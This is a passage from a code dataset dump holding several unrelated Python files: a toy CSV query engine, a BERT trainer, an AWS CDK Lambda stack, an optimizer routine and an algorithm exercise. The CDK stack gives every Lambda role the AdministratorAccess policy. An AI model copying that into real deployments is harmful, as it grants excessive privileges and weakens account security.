cursor.column_names\n\n with open(path_for_file, \"w\", newline=\"\") as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=colum_names)\n writer.writeheader()\n writer.writerows(table_data)\n\n\n# returns a list of a dict with keys as column name of a csv file\ndef read_csv(table_path: str) -> list:\n with open(table_path, newline=\"\") as csvfile:\n reader = csv.DictReader(csvfile)\n data = []\n for row in reader:\n data.append(row)\n return data\n\n\ndef data_from_table(table, schema) -> list:\n if check_existing_table(table, schema):\n table_path = catch_table_path(table, schema)\n data = read_csv(table_path=table_path)\n return data\n\n\ndef tuple_value(data: tuple) -> str:\n if data != None:\n return data[0]\n else:\n return None\n\n\ndef hash(data1, column_table_1, data2, column_table_2):\n index = {}\n for row in data1:\n key = row[column_table_1]\n index.setdefault(key, []).append(row)\n\n result = []\n for row in data2:\n key = row[column_table_2]\n if key in index:\n for valid_row in index[key]:\n merged_row = {**row, **valid_row}\n result.append(merged_row)\n\n return result\n\n\ndef _join(data1: list, data2: list):\n result = []\n\n if tuple_value(commands[\"on\"]) != None:\n try:\n on_value = tuple_value(commands[\"on\"])\n # remove ()\n on_value = on_value.strip(\"(\")\n on_value = on_value.strip(\")\")\n\n on_value = on_value.split(\"=\")\n\n command_for_table_1 = on_value[0].split(\".\")\n command_for_table_2 = on_value[1].split(\".\")\n\n name_table_1 = command_for_table_1[0]\n column_table_1 = command_for_table_1[1]\n\n name_table_2 = command_for_table_2[0]\n column_table_2 = command_for_table_2[1]\n\n if (\n tuple_value(commands[\"from\"]) == name_table_1\n and tuple_value(commands[\"join\"]) == name_table_2\n ) or (\n tuple_value(commands[\"from\"]) == name_table_2\n and tuple_value(commands[\"join\"]) == name_table_1\n ):\n return hash(data1, column_table_1, data2, column_table_2)\n\n else:\n print(\"Error : Wrong arguments near {}\".format(on_value))\n return False\n\n except:\n print(\"Error : Wrong argument near {}\".format(on_value))\n return False\n\n elif tuple_value(commands[\"using\"]) != None:\n try:\n using_value = tuple_value(commands[\"using\"])\n using_value = using_value.strip(\")\")\n using_value = using_value.strip(\"(\")\n column = using_value\n\n return hash(data1, column, data2, column)\n\n except:\n print(\"Error : Wrong argument near {}\".format(using_value))\n return False\n\n else:\n print(\"Error : Wrong argument near join\")\n return False\n\n\ndef _from():\n global schema\n global commands\n\n data = []\n\n try:\n if commands[\"from\"]:\n table_from = tuple_value(commands[\"from\"])\n data_from = data_from_table(table_from, schema)\n data = data_from\n\n if tuple_value(commands[\"join\"]) != None:\n table_join = tuple_value(commands[\"join\"])\n data_join = data_from_table(table_join, schema)\n data = _join(data_from, data_join)\n\n elif commands[\"into\"]:\n table_into = tuple_value(commands[\"into\"])\n data_into = data_from_table(table_into, schema)\n data = data_into\n\n elif commands[\"update\"]:\n table_update = tuple_value(commands[\"update\"])\n data_update = data_from_table(table_update, schema)\n data = data_update\n\n else:\n print(\"Error : Wrong arguments in tables fetch\")\n return False\n\n return data\n\n except:\n print(\"Error : Wrong arguments near {}\".format(table_from))\n return False\n\n\ndef _where(data: list):\n try:\n if tuple_value(commands[\"where\"]) == None:\n return data\n else:\n if tuple_value(commands[\"and\"]) != None:\n word_cond1 = tuple_value(commands[\"where\"])\n word_cond2 = tuple_value(\n commands[\"and\"]\n ) # catch value passed after AND statement\n filtered_data = [\n row\n for row in data\n if condition_func(word_cond1, row)\n and condition_func(word_cond2, row)\n ] # here using list comprehensions\n elif tuple_value(commands[\"or\"]) != None:\n word_cond1 = tuple_value(commands[\"where\"])\n word_cond2 = tuple_value(\n commands[\"or\"]\n ) # catch value passed after OR statement\n filtered_data = [\n row\n for row in data\n if condition_func(word_cond1, row)\n or condition_func(word_cond2, row)\n ]\n else:\n word_cond = tuple_value(commands[\"where\"])\n filtered_data = [row for row in data if condition_func(word_cond, row)]\n\n return filtered_data\n\n except:\n print(\"Error : Wrong argument near {}\".format(tuple_value(commands[\"where\"])))\n return False\n\n\ndef condition_func(condition, row):\n if condition.find(\"=\") != -1 and (\n condition.find(\">\") == -1 and condition.find(\"<\") == -1\n ):\n aux = condition.split(\"=\")\n left = aux[0]\n right = aux[1]\n\n return row[left] == right\n\n elif condition.find(\">\") != -1 and condition.find(\"=\") == -1:\n aux = condition.split(\">\")\n left = aux[0]\n right = aux[1]\n\n return int(row[left]) > int(right)\n\n elif condition.find(\"<\") != -1 and condition.find(\"=\") == -1:\n aux = condition.split(\"<\")\n left = aux[0]\n right = aux[1]\n\n return int(row[left]) < int(right)\n\n elif condition.find(\">\") != -1 and condition.find(\"=\") != -1:\n aux = condition.split(\">=\")\n left = aux[0]\n right = aux[1]\n\n return int(row[left]) >= int(right)\n\n elif condition.find(\"<\") != -1 and condition.find(\"=\") != -1:\n aux = condition.split(\"<=\")\n left = aux[0]\n right = aux[1]\n\n return int(row[left]) <= int(right)\n else:\n print(\"Error : Wrong arguments near {}\".format(condition))\n return False\n\n\ndef _orderby(data: list):\n clause = tuple_value(commands[\"order by\"])\n if clause != None:\n if clause in data[0]:\n data.sort(key=lambda x: int(x[clause]))\n return data\n else:\n print(\"Error: Wrong arguments near {}\".format(clause))\n return False\n else:\n return data\n\n\ndef _select(data: list):\n # filters aplication\n data = _where(data)\n data = _orderby(data)\n\n columns = tuple_value(commands[\"select\"])\n\n if columns != None:\n try:\n if columns == \"*\":\n # print_results(headers,data)\n headers = list(data[0])\n print(headers)\n for row in data:\n printable = []\n for key in iter(row):\n printable.append(row[key])\n print(printable)\n\n return True\n else:\n columns = columns.split(\",\")\n\n # verifies if a columns typed is in the table\n for input_key in columns:\n if input_key not in data[0]:\n print(\"Error : {} didn't exists\".format(input_key))\n return False\n\n headers = columns\n print(headers)\n\n for row in data:\n printable = []\n for key in iter(row):\n if key in headers:\n printable.append(row[key])\n print(printable)\n\n return True\n except:\n # No data printed, so do nothing\n return False\n else:\n print(\"Error : Wrong argument near SELECT\")\n return False\n\n\ndef _update(data: list):\n try:\n set = tuple_value(commands[\"set\"])\n if set == None:\n return False # No data\n\n set = set.strip(\")\")\n set = set.strip(\"(\")\n\n set = set.split(\",\")\n\n table = tuple_value(commands[\"update\"])\n\n data_filtered = list(_where(data))\n data_updated = list(data_filtered)\n headers = list(data[0])\n\n if data_filtered[0] != None:\n if set != None:\n for item in data_updated:\n for args in set:\n args = args.split(\"=\")\n left = args[0]\n right = args[1]\n if left in data_filtered[0]:\n if right.isnumeric() or right.isalpha():\n item[left] = right\n else:\n print(\n \"Update with operations in right side of '=' not implemented\"\n )\n return False\n else:\n print(\n \"Error : Wrong arguments near {}\".format(\n tuple_value(commands[\"set\"])\n )\n )\n return False\n else:\n return False # No data\n else:\n return False # No data\n\n for item1, item2 in zip(data_filtered, data_updated):\n data.remove(item1)\n data.append(item2)\n\n write_csv(table, data, headers, schema)\n return True\n\n except:\n return False\n\n\ndef _insert(data: list):\n try:\n values = tuple_value(commands[\"values\"])\n values = values.strip(\")\")\n values = values.strip(\"(\")\n\n values = values.split(\",\")\n headers = list(data[0])\n # verifie if the amount of arguments passed to values is right\n if len(headers) != len(values):\n print(\n \"Error : Wrong arguments near {}\".format(\n tuple_value(commands[\"values\"])\n )\n )\n return False\n\n values = dict(\n zip(headers, values)\n ) # transform values in a dictionary to be inserted\n\n # verifies the type of inserted value before insert\n if len(data) > 0:\n for key in data[0]:\n if data[0][key].isnumeric():\n if values[key].isnumeric():\n continue\n else:\n print(\"Error : Value types didn't match\")\n return False\n elif data[0][key].isascii():\n if values[key].isascii():\n continue\n else:\n print(\"Error : Value types didn't match\")\n return False\n else:\n print(\n \"Unexpected error near {}\".format(\n tuple_value(commands[\"values\"])\n )\n )\n return False\n\n data.append(values) # insert item\n\n table = tuple_value(commands[\"into\"])\n if check_existing_table(table, schema):\n write_csv(table, data, headers, schema)\n else:\n print(\"Error : Wrong arguments near {}\".format(table))\n return False\n\n return True\n except:\n print(\"Error : Wrong arguments near {}\".format(tuple_value(commands[\"values\"])))\n return False\n\n\ndef _delete(data: list):\n try:\n table = tuple_value(commands[\"from\"])\n\n data_filtered = _where(data)\n headers = list(data[0])\n\n if data_filtered == data:\n data.clear()\n else:\n for item in data_filtered:\n data.remove(item)\n\n write_csv(table, data, headers, schema)\n return True\n except:\n # No data for delete, so do nothing\n return False\n\n#verify if typed query has clauses in correct positioning\ndef is_query_valid() -> bool:\n global commands\n\n # Verifica se todos os comandos obrigatórios foram preenchidos\n required_commands = [\"select\", \"update\", \"insert\", \"delete\"]\n if not any(commands[cmd] is not None for cmd in required_commands):\n return False\n\n # Verifica a estrutura básica da consulta\n if commands[\"select\"]:\n if not commands[\"from\"] or commands[\"select\"][1] > commands[\"from\"][1]:\n return False\n elif commands[\"update\"]:\n if not commands[\"set\"] or not commands[\"where\"] or commands[\"update\"][1] > commands[\"set\"][1] or \\\n commands[\"set\"][1] > commands[\"where\"][1]:\n return False\n elif commands[\"insert\"]:\n if not commands[\"into\"] or not commands[\"values\"] or commands[\"insert\"][1] > commands[\"into\"][1] or \\\n commands[\"into\"][1] > commands[\"values\"][1]:\n return False\n elif commands[\"delete\"]:\n if not commands[\"from\"] or not commands[\"where\"] or commands[\"delete\"][1] > commands[\"from\"][1] or \\\n commands[\"from\"][1] > commands[\"where\"][1]:\n return False\n\n return True\n\n# splits the query with it's respectively statements\n# and treat accordingly\ndef parser(query: str):\n global commands\n\n commands = {\n \"select\": None,\n \"update\": None,\n \"set\": None,\n \"insert\": None,\n \"delete\": None,\n \"into\": None,\n \"values\": None,\n \"from\": None,\n \"join\": None,\n \"on\": None,\n \"using\": None,\n \"where\": None,\n \"and\": None,\n \"or\": None,\n \"order by\": None,\n }\n try:\n query = query.replace(\", \", \",\")\n query = query.replace(\" ,\", \",\")\n query = query.replace(\" =\", \"=\")\n query = query.replace(\"= \", \"=\")\n query = query.replace(\" >=\", \">=\")\n query = query.replace(\">= \", \">=\")\n query = query.replace(\" <=\", \"<=\")\n query = query.replace(\"<= \", \"<=\")\n query = query.replace(\" >\", \">\")\n query = query.replace(\"> \", \">\")\n query = query.replace(\" <\", \"<\")\n query = query.replace(\"< \", \"<\")\n query = query.replace(\"order by\", \"orderby\")\n\n # splits sql command using space as separator\n query_list = query.split()\n\n # extract table in query\n if \"from\" in query_list:\n i = query_list.index(\"from\")\n table = query_list[i + 1]\n commands[\"from\"] = table, i\n # extract join argument\n if \"join\" in query_list:\n i = query_list.index(\"join\")\n join_table = query_list[i + 1]\n commands[\"join\"] = join_table, i\n if join_table in commands:\n print(\"Error : Wrong argument near {}\".format(join_table))\n return False\n if \"on\" in query_list:\n i = query_list.index(\"on\")\n join_column = query_list[i + 1]\n commands[\"on\"] = join_column, i\n if join_column in commands:\n print(\"Error : Wrong argument near {}\".format(join_column))\n return False\n elif \"using\" in query_list:\n i = query_list.index(\"using\")\n join_column = query_list[i + 1]\n commands[\"using\"] = join_column, i\n if join_column in commands:\n print(\"Error : Wrong arguments near {}\".format(join_column))\n return False\n else:\n print(\"Error : Wrong argument near {}\".format(join_table))\n return False\n elif \"update\" in query_list:\n i = query_list.index(\"update\")\n table = query_list[i + 1]\n commands[\"update\"] = table, i\n elif \"into\" in query_list:\n i = query_list.index(\"into\")\n table = query_list[i + 1]\n commands[\"into\"] = table, i\n else:\n print(\"Error : Wrong argument near {}\".format(table))\n return 0\n\n # verification if arguments is part of commands\n if table in commands:\n print(\"Error : wrong argument {}\".format(table))\n return 0\n\n if \"select\" in query_list:\n i = query_list.index(\"select\")\n columns = query_list[i + 1]\n commands[\"select\"] = columns, i\n elif \"update\" in query_list:\n i = query_list.index(\"set\")\n set = query_list[i + 1]\n commands[\"set\"] = set, i\n elif \"insert\" in query_list:\n i = query_list.index(\"values\")\n values = query_list[i + 1]\n commands[\"values\"] = values, i\n elif \"delete\" in query_list:\n i = query_list.index(\"from\")\n delete = \" \"\n commands[\"delete\"] = delete, i\n else:\n print(\"Error : unexpected\")\n return False\n\n # catch where statement\n if \"where\" in query_list:\n i = query_list.index(\"where\")\n clause = query_list[i + 1]\n commands[\"where\"] = clause, i\n\n # catch and or statement\n if \"and\" in query_list:\n i = query_list.index(\"and\")\n clause = query_list[i + 1]\n commands[\"and\"] = clause, i\n elif \"or\" in query_list:\n i = query_list.index(\"or\")\n clause = query_list[i + 1]\n commands[\"or\"] = clause, i\n\n # catch order by\n if \"orderby\" in query_list:\n i = query_list.index(\"orderby\")\n clause = query_list[i + 1]\n commands[\"order by\"] = clause, i\n\n # if(is_query_valid()):\n data = _from()\n\n if tuple_value(commands[\"select\"]):\n _select(data)\n elif tuple_value(commands[\"delete\"]):\n _delete(data)\n elif tuple_value(commands[\"into\"]):\n _insert(data)\n elif tuple_value(commands[\"update\"]):\n _update(data)\n\n except:\n print(\"Error : Invalid query\")\n return False\n\ndef check_existing_table(table: str, schema: str):\n path = catch_table_path(table, schema)\n return os.path.exists(path)\n\n\ndef catch_table_path(table: str, schema: str):\n path = (catch_schema_path(schema) + \"/tables/{}.csv\").format(table)\n return path\n\n\ndef check_existing_schema(schema):\n path = catch_schema_path(schema)\n return os.path.exists(path)\n\n\ndef catch_schema_path(schema: str):\n path = (os.getcwd() + \"/schemas/{}\").format(schema)\n return path\n\n\ndef create_schema(schema):\n path = catch_schema_path(schema)\n os.mkdir(path)\n os.mkdir(path + \"/tables\")\n\n\ndef data_import():\n option = None\n while not (option == \"mysql\" or option == \"postgres\" or option == \"csv\"):\n print(\"Select csv or server (mysql or postgres)\")\n option = input(\">> \")\n if option == \"mysql\":\n mysql_import.mysqlimport()\n elif option == \"postgres\":\n postgres_import.postgresimport()\n elif option == \"csv\":\n csv_import.csv_import()\n return\n\n\ndef list_schemas():\n files = os.listdir(os.getcwd() + \"/schemas\")\n for it in files:\n printable = it.replace(\".csv\",'')\n print(\"* \" + printable)\n\n\ndef query():\n global schema\n\n retype = \"y\"\n while retype != \"y\" or retype != \"n\":\n if retype == \"y\":\n print(\"Select schema :\")\n list_schemas()\n \n schema = input(\">> \")\n \n if check_existing_schema(schema):\n retype_query = \"y\"\n while retype_query != \"y\" or retype_query != \"n\":\n if retype_query == \"y\":\n print(\"Type query : \")\n query = input(\">> \")\n \n parser(query)\n elif retype_query == \"n\":\n return True\n print(\"re-type query? (y/n)\")\n retype_query = input(\">> \")\n else:\n print(\"error : Schema not found in engine server\")\n elif retype == \"n\":\n return True\n print(\"re-type schema ? (y/n)\")\n retype = input(\">> \")\n return True\n\n\ndef main():\n # takes query from user\n answer = None\n while not (answer == \"i\" or answer == \"q\" or answer == \"e\"):\n print(\"Import, query or exit? (i/q/e)\")\n answer = input(\">> \")\n if answer == \"i\":\n data_import()\n elif answer == \"q\":\n query()\n elif answer == \"e\":\n return False\n \n return True\n\n\nif __name__ == \"__main__\":\n while main():\n continue\n","repo_name":"luisteod/Query-Engine-Processor","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":21631,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"1697686176","text":"import time\r\nfrom datetime import datetime\r\nfrom pathlib import Path\r\n\r\nimport torch\r\nfrom sklearn.metrics import f1_score\r\nfrom torch import nn\r\nfrom torch.utils.data import DataLoader\r\nfrom torch.utils.tensorboard import SummaryWriter\r\nfrom balanced_loss import Loss\r\nfrom sklearn.metrics import precision_score\r\nfrom sklearn.metrics import recall_score\r\nfrom cBert import BERTForclassification\r\nfrom cdataset import classificationDataset\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n\r\n\r\ndef percentage(batch_size: int, max_index: int, current_index: int):\r\n \"\"\"Calculate epoch progress percentage\r\n Args:\r\n batch_size: batch size\r\n max_index: max index in epoch\r\n current_index: current index\r\n Returns:\r\n Passed percentage of dataset\r\n \"\"\"\r\n batched_max = max_index // batch_size\r\n return round(current_index / batched_max * 100, 2)\r\n\r\n\r\ndef nsp_accuracy(result: torch.Tensor, target: torch.Tensor):\r\n \"\"\"Calculate NSP accuracy between two tensors\r\n Args:\r\n result: result calculated by model\r\n target: real target\r\n Returns:\r\n NSP accuracy\r\n \"\"\"\r\n s = (result.argmax(1) == target.argmax(1)).sum()\r\n return round(float(s / result.size(0)), 2)\r\n\r\n\r\ndef token_accuracy(result: torch.Tensor, target: torch.Tensor, inverse_token_mask: torch.Tensor):\r\n \"\"\"Calculate MLM accuracy between ONLY masked words\r\n Args:\r\n result: result calculated by model\r\n target: real target\r\n inverse_token_mask: well-known inverse token mask\r\n Returns:\r\n MLM accuracy\r\n \"\"\"\r\n r = result.argmax(-1).masked_select(~inverse_token_mask)\r\n print(r.size())\r\n #print(result.size())\r\n t = target.masked_select(~inverse_token_mask)\r\n s = (r == t).sum()\r\n print(\"SUM = {0}\".format(s))\r\n print(\"result.size(0) = {0}\".format(result.size(0) ))\r\n print(\"result.size(1) = {0}\".format(result.size(1)))\r\n return float(s / r.size(0))\r\n\r\n\r\nclass BertTrainerclassification:\r\n\r\n def __init__(self,\r\n model: BERTForclassification,\r\n dataset: classificationDataset,\r\n log_dir: Path,\r\n checkpoint_dir: Path = None,\r\n print_progress_every: int = 10,\r\n print_accuracy_every: int = 50,\r\n batch_size: int = 24,\r\n learning_rate: float = 0.005,\r\n epochs: int = 5,\r\n testdataset = None\r\n ):\r\n self.model = model\r\n self.dataset = dataset\r\n self.ds_test = testdataset\r\n self.batch_size = batch_size\r\n self.epochs = epochs\r\n self.current_epoch = 0\r\n\r\n self.loader = DataLoader(self.dataset, batch_size=self.batch_size, shuffle=True)\r\n self.test_loader = DataLoader(self.ds_test, batch_size=1 , shuffle=True)\r\n\r\n #self.writer = SummaryWriter(str(log_dir))\r\n self.checkpoint_dir = checkpoint_dir\r\n self.ml_criterion = Loss(loss_type=\"cross_entropy\",samples_per_class=self.dataset.class_weight(),class_balanced=True)\r\n #self.ml_criterion = nn.CrossEntropyLoss().to(device)\r\n self.optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\r\n #self.optimizer1 = torch.optim.Adam(multimodel.parameters(), lr=learning_rate)\r\n\r\n self._splitter_size = 35\r\n\r\n self._ds_len = len(self.dataset)\r\n self._batched_len = self._ds_len // self.batch_size\r\n\r\n self._print_every = print_progress_every\r\n self._accuracy_every = print_accuracy_every\r\n\r\n def print_summary(self):\r\n ds_len = len(self.dataset)\r\n\r\n print(\"Model Summary\\n\")\r\n print('=' * self._splitter_size)\r\n print(f\"Device: {device}\")\r\n print(f\"Training dataset len: {ds_len}\")\r\n print(f\"Max / Optimal sentence len: {self.dataset.optimal_sentence_length}\")\r\n print(f\"Vocab size: {len(self.dataset.vocab)}\")\r\n print(f\"Batch size: {self.batch_size}\")\r\n print(f\"Batched dataset len: {self._batched_len}\")\r\n print('=' * self._splitter_size)\r\n print()\r\n\r\n def __call__(self):\r\n for self.current_epoch in range(self.current_epoch, self.epochs):\r\n #print(torch.cuda.memory_allocated(0)/1024/1024/1024)\r\n loss = self.train(self.current_epoch)\r\n \r\n #self.save_checkpoint(self.current_epoch, step=-1, loss=loss)\r\n #print(torch.cuda.memory_allocated(device))\r\n self.calculate_test_accuracy()\r\n\r\n def calculate_test_accuracy(self):\r\n self.model.eval()\r\n top1 = 0\r\n top3 = 0\r\n top5 = 0\r\n top7 = 0\r\n top10 = 0\r\n targets = []\r\n results = []\r\n with torch.no_grad():\r\n for i , value in enumerate(self.test_loader):\r\n input,mask,target,weekday,time_vec,imp,imp_mask,poi = value\r\n targets.append(target.item())\r\n #print(input.size())\r\n #print(mask.size())\r\n #print(target.size())\r\n #print(input)\r\n # print(mask)\r\n # print(poi)\r\n result = self.model(input,mask,time_vec,poi)\r\n top1 += self.find_k_accuracy(1,result,target)\r\n results.append(torch.topk(result, 1).indices.item())\r\n top3 += self.find_k_accuracy(3,result,target)\r\n top5 += self.find_k_accuracy(5,result,target)\r\n top7 += self.find_k_accuracy(7,result,target)\r\n top10 += self.find_k_accuracy(10,result,target)\r\n #print(targets)\r\n #print(results)\r\n top1 = top1/len(self.ds_test)\r\n top3 = top3/len(self.ds_test)\r\n top5 = top5/len(self.ds_test)\r\n top7 = top7/len(self.ds_test)\r\n top10 = top10/len(self.ds_test)\r\n f1_score_macro = f1_score(targets, results, average='macro')\r\n r_score = recall_score(targets, results, average='macro')\r\n p_score = precision_score(targets, results, average='macro')\r\n print(f\"top@1 = {top1} | top@3 = {top3} | top@5 = {top5} | macro-P={p_score} | macro-R{r_score} |f1_score_macro={f1_score_macro}\" )\r\n self.model.train()\r\n \r\n\r\n \r\n def find_k_accuracy(self,k,result,target):\r\n #print(result)\r\n #print(target)\r\n if target in torch.topk(result, k).indices:\r\n return 1\r\n return 0\r\n\r\n def train(self, epoch: int):\r\n print(f\"Begin epoch {epoch}\")\r\n prev = time.time()\r\n average_class_loss = 0\r\n #print(torch.cuda.memory_allocated(0)/1024/1024/1024)\r\n for i, value in enumerate(self.loader):\r\n self.optimizer.zero_grad()\r\n index = i + 1\r\n inp, mask, target, weekday,time_vec,exp,exp_mask,poi= value\r\n\r\n #print(inp.size())\r\n #print(mask.size())\r\n result = self.model(inp,mask,time_vec,poi)\r\n #result = self.model(inp, mask)\r\n #print(target.size())\r\n #print(result.size())\r\n\r\n\r\n loss = self.ml_criterion(result, torch.flatten(target))\r\n loss.backward()\r\n self.optimizer.step()\r\n\r\n average_class_loss += +loss.item()\r\n\r\n #self.optimizer1.step()\r\n #break\r\n\r\n if index % self._print_every == 0:\r\n print( f\" average_class_loss {average_class_loss / self._print_every}\" )\r\n average_class_loss = 0\r\n return loss","repo_name":"theWonderBoy/TULHOR","sub_path":"TULHOR/cBertTrainer.py","file_name":"cBertTrainer.py","file_ext":"py","file_size_in_byte":7427,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"13621113861","text":"from constructs import Construct\nfrom aws_cdk import (\n core,\n aws_iam as iam,\n aws_lambda as _lambda,\n aws_ecr as ecr\n)\n\nclass LambdaStack(core.Stack):\n\n def __init__(self, scope: Construct, id: str, **kwargs) -> None:\n super().__init__(scope, id, **kwargs)\n\n #Common resources \n role = iam.Role(self, \"Role\",\n assumed_by=iam.ServicePrincipal(\"lambda.amazonaws.com\"),\n description=\"jazz lambda roles\"\n )\n\n role.add_managed_policy(iam.ManagedPolicy.from_aws_managed_policy_name(\"AdministratorAccess\"))\n\n psycopg_layer = _lambda.LayerVersion.from_layer_version_arn(\n self, \n \"Psycopg2Layer\",\n layer_version_arn='arn:aws:lambda:us-east-1:898466741470:layer:psycopg2-py38:2')\n\n lxml_layer = _lambda.LayerVersion.from_layer_version_arn(\n self, \n \"LxmlLayer\",\n layer_version_arn='arn:aws:lambda:us-east-1:770693421928:layer:Klayers-p38-lxml:1')\n\n requests_layer = _lambda.LayerVersion.from_layer_version_arn(\n self, \n \"RequestsLayer\",\n layer_version_arn='arn:aws:lambda:us-east-1:770693421928:layer:Klayers-p38-requests:2')\n \n\n # Ingest\n # Ingest - Crawling\n crawling_matches = _lambda.Function(\n self,\n 'jazz-ingest-crawling_matches',\n function_name='jazz-ingest-crawling_matches',\n runtime=_lambda.Runtime.PYTHON_3_8,\n code=_lambda.Code.from_asset('dags'),\n handler='lambda_codes/ingest/crawling_matches.handler',\n role=role,\n layers=[psycopg_layer, lxml_layer, requests_layer],\n timeout=core.Duration.minutes(5),\n memory_size=512\n )\n\n # Ingest - Finding demos from matches\n find_demos = _lambda.Function(\n self,\n 'jazz-ingest-find_demos',\n function_name='jazz-ingest-find_demos',\n runtime=_lambda.Runtime.PYTHON_3_8,\n code=_lambda.Code.from_asset('dags'),\n handler='lambda_codes/ingest/find_demos.handler',\n role=role,\n layers=[psycopg_layer, lxml_layer, requests_layer],\n timeout=core.Duration.minutes(15),\n memory_size=512\n )\n\n # Ingest - Downloading\n download_demos_repo = ecr.Repository.from_repository_name(self, \"download_demos_repo\", \"lambda-downloader-repo\")\n\n download_demos = _lambda.DockerImageFunction(\n self,\n 'jazz-ingest-download_demos',\n function_name='jazz-ingest-download_demos',\n code=_lambda.DockerImageCode.from_ecr(download_demos_repo),\n role=role,\n timeout=core.Duration.minutes(15),\n memory_size=4096,\n ephemeral_storage_size=core.Size.mebibytes(2048)\n )\n\n print(vars(download_demos))\n print(vars(_lambda.DockerImageFunction))\n\n # Demo parser \n repo = ecr.Repository.from_repository_name(self, \"repo\", \"lambda-parser-repo\")\n\n parser_lambda = _lambda.DockerImageFunction(\n self,\n 'jazz-ingest-parser',\n function_name='jazz-ingest-parser',\n code=_lambda.DockerImageCode.from_ecr(repo),\n role=role,\n timeout=core.Duration.minutes(5),\n memory_size=2048,\n ephemeral_storage_size=core.Size.mebibytes(2048)\n )\n\n # ETL\n rounds_lambda = _lambda.Function(\n self,\n 'jazz-etl-rounds',\n function_name='jazz-etl-rounds',\n runtime=_lambda.Runtime.PYTHON_3_8,\n code=_lambda.Code.from_asset('dags'),\n handler='lambda_codes/etl/rounds.handler',\n role=role,\n layers=[psycopg_layer],\n timeout=core.Duration.minutes(5),\n memory_size=512\n )\n\n players_lambda = _lambda.Function(\n self,\n 'jazz-etl-players',\n function_name='jazz-etl-players',\n runtime=_lambda.Runtime.PYTHON_3_8,\n code=_lambda.Code.from_asset('dags'),\n handler='lambda_codes/etl/players.handler',\n role=role,\n layers=[psycopg_layer],\n timeout=core.Duration.minutes(15),\n memory_size=512\n )\n\n snapshots_lambda = _lambda.Function(\n self,\n 'jazz-etl-snapshots',\n function_name='jazz-etl-snapshots',\n runtime=_lambda.Runtime.PYTHON_3_8,\n code=_lambda.Code.from_asset('dags'),\n handler='lambda_codes/etl/snapshots.handler',\n role=role,\n layers=[psycopg_layer],\n timeout=core.Duration.minutes(15),\n memory_size=512\n )\n\n","repo_name":"gabryuri/jazz-airflow","sub_path":"infrastructure/lambda_functions/stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":4734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42849077524","text":"import numpy as np\nfrom global_m import *\n\ndef optimizer(k,Dwk,Dbk):\n\tglobal wt,bias,momentum_w,momentum_b\n\tDwk = np.add(Dwk,np.multiply(wt[k],0.0001))\n\t# print(\"optimizer\",opt,k,Dwk[1,1:4])\n\tif opt == \"gd\":\n\t\twt[k]=np.subtract(wt[k],np.multiply(eta,Dwk))\n\t\tbias[k]=np.subtract(bias[k],np.multiply(eta,Dbk))\n\telif opt == \"momentum\":\n\t\tmomentum_w[k]=np.multiply(momentum_w[k],gamma)\n\t\tmomentum_w[k]=np.add(momentum_w[k],np.multiply(eta,Dwk))\n\t\twt[k]=np.subtract(wt[k],momentum_w[k]) \n\t\tmomentum_b[k]=np.multiply(momentum_b[k],gamma)\n\t\tmomentum_b[k]=np.add(momentum_b[k], np.multiply(eta,Dbk))\n\t\tbias[k]=np.subtract(bias[k], momentum_b[k])\n\telif opt == \"nag\":\n\t\tupdate_w[k]= np.add( np.multiply(gamma,update_w[k]),np.multiply(eta,Dwk) )\n\t\tlook_w[k]= np.subtract(look_w[k],update_w[k])\n\t\tupdate_b[k]= np.add( np.multiply(gamma,update_b[k]),np.multiply(eta,Dbk) )\n\t\tlook_b[k]= np.subtract(look_b[k],update_b[k])\n\telif opt == \"adam\":\n\t\tadam_w_m[k] = np.add(np.multiply(adam_b1,adam_w_m[k]),np.multiply(1-adam_b1,Dwk))\n\t\tadam_b_m[k] = np.add(np.multiply(adam_b1,adam_b_m[k]),np.multiply(1-adam_b1,Dbk))\n\t\t\n\t\tadam_w_v[k] = np.add(np.multiply(adam_b2,adam_w_v[k]),np.multiply(1-adam_b2,np.multiply(Dwk,Dwk)))\n\t\tadam_b_v[k] = np.add(np.multiply(adam_b2,adam_b_v[k]),np.multiply(1-adam_b2,np.multiply(Dbk,Dbk)))\n\t\t\n\t\twt[k] = np.subtract( wt[k], np.multiply( np.multiply(eta, np.reciprocal( np.sqrt( np.add( np.divide(adam_w_v[k],1-adam_bp2) ,adam_epsilon) )) ), np.divide(adam_w_m[k],1-adam_bp1) ) )\n\t\tbias[k] = np.subtract(bias[k],np.multiply( np.multiply(eta, np.reciprocal( np.sqrt( np.add( np.divide(adam_b_v[k],1-adam_bp2) ,adam_epsilon) )) ), np.divide(adam_b_m[k],1-adam_bp1) ) )\n","repo_name":"kaarthik-raja/DL_PAss1","sub_path":"optimizer_m.py","file_name":"optimizer_m.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10154032121","text":"'''Min Rewards\n\nImagine that you're a teacher who's just graded the final exam in a class. You have a list of student scores on the final exam in a particular order (not ncessarily sorted), and you want to reward your students. You decide to do so fairly by giving them arbitrary rewards following two rules:\n\n\t1.) All students must receive at least one reward\n\n\t2.) any given student must receive strictly more rewards than an adjacent student (a student immediately to the left or the right) with a lower score and must receive strictly fewwer rewards than an adjacaent student with a higher score.\n\nWrite a function that takes in a list of scores and returns the minimum number of rewards that you must give out to students to satisfy the two rules.\n\nYou can assume that all students have diference scores; in other words, the scores are all unique.\n'''\n\n# o(n) time | o(n) space\ndef minRewards(scores):\n rewards = [1]*len(scores)\n\n # move left to right\n for i in range(1, len(scores)):\n j = i - 1\n if scores[i]>scores[j]:\n rewards[i] = rewards[j]+1\n\n # move right to left\n for i in reversed(range(len(scores)-1)):\n j = i+1\n if scores[i]>scores[j]:\n rewards[i] = max(rewards[i],rewards[j]+1)\n\n print(rewards)\n return sum(rewards)\n\narray = [8, 4, 2, 1, 3, 6, 7, 9, 5]\n\nprint(minRewards(array)) # True","repo_name":"johnluo92/python_workspace","sub_path":"Algoexpert/Arrays/Min Rewards.py","file_name":"Min 